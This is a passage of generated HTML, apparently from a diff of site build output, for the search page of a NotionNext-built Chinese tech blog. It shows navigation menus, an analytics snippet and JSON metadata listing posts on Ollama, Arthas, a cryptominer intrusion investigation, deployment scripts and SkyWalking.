ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>NotionNext BLOG | Search | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="Both Savage"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="NotionNext BLOG | Search | Both Savage"/><meta property="og:description" content="Both Savage"/><meta property="og:url" content="https://bothsavage.github.io//search/NotionNext BLOG"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="Both Savage"/><meta name="twitter:title" content="NotionNext BLOG | Search | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/search/%5Bkeyword%5D-47355d318a01b8f4.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","results":[]},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","results":[]},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":"","results":[]},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","results":[]},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","results":[]},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":"","results":[]},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000